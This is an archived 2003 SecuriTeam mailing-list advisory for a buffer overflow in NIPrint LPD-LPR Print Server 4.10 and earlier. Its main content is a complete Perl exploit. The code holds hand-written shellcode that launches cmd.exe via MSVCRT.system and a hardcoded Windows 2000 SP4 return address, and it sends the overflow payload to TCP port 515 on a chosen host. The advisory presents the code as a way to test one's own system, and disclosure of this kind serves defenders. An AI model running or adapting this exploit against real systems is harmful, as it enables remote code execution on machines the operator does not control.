[EXPL] NIPrint LPD-LPR Print Server (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/04/03

  • Next message: SecuriTeam: "[NEWS] Aborting the OS X's Init Script Allows Gaining of Root Console"
    To: list@securiteam.com
    Date: 4 Nov 2003 14:34:25 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      NIPrint LPD-LPR Print Server (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/windowsntfocus/6D004158UG.html> NIPrint LPD-LPR
    Print Server (Long Request), a vulnerability in NIPrint allows remote
    attackers to overflow an interal buffer, this in turn can be used to
    overwrite the EIP address, allowing code execution.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * NIPrint LPD-LPR Print Server version 4.10 and prior

    Exploit:
    #!/usr/bin/perl
    use IO::Socket;

    $shellcode = join ("",
    "\x90", # - NOP
    "\xCC", # - INT3
    "\x90", # - NOP
    "\x90", # - NOP
    "\x90", # - NOP
    "\x90", # - NOP
    "\x8B\xEC", # - MOV EBP, ESP
    "\x55", # - PUSH EBP
    "\x8B\xEC", # - MOV EBP, ESP
    "\x33\xFF", # - XOR EDI, EDI
    "\x57", # - PUSH EDI
    "\x83\xEC\x04", # 0 SUB ESP, 4
    "\xC6\x45\xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
    "\xC6\x45\xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
    "\xC6\x45\xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
    "\xC6\x45\xFB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
    "\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
    "\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
    "\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
    "\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
    "\x50", # - PUSH EAX
    "\x8D\x45\xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
    "\x50", # - PUSH EAX
    "\xFF\x55\xF4", # - CALL DWORD PTR SS:[EBP-C]
    "\x5F" # - POP EDI
    );

    # 0x77f950cb is call ESI in Win2k SP4
    $eip = "\xcb\x50\xf9\x77";
    #$eip = "BBBB";

    $buf = "";

    $buf .= "\xCC"; # INT 3
    $buf .= "\x83\xC4\x04"; # Add ESP+4
    $buf .= "\xFF\xE4"; # Jmp ESP
    $buf .= "A"x(49-6);

    $buf .= $eip;
    $buf .= $shellcode;

    unless (@ARGV == 1) { die "usage: $0 host ..." }
    $host = shift(@ARGV);
    $remote = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr => $host,
                                     PeerPort => "515",
                                     );
    unless ($remote) { die "cannot connect to LDP daemon on $host" }

    $remote->autoflush(1);

    print $remote $buf;

    while (<$remote>)
    {
     print $_;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com>
    SecurITeam Experts.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Aborting the OS X's Init Script Allows Gaining of Root Console"

    Relevant Pages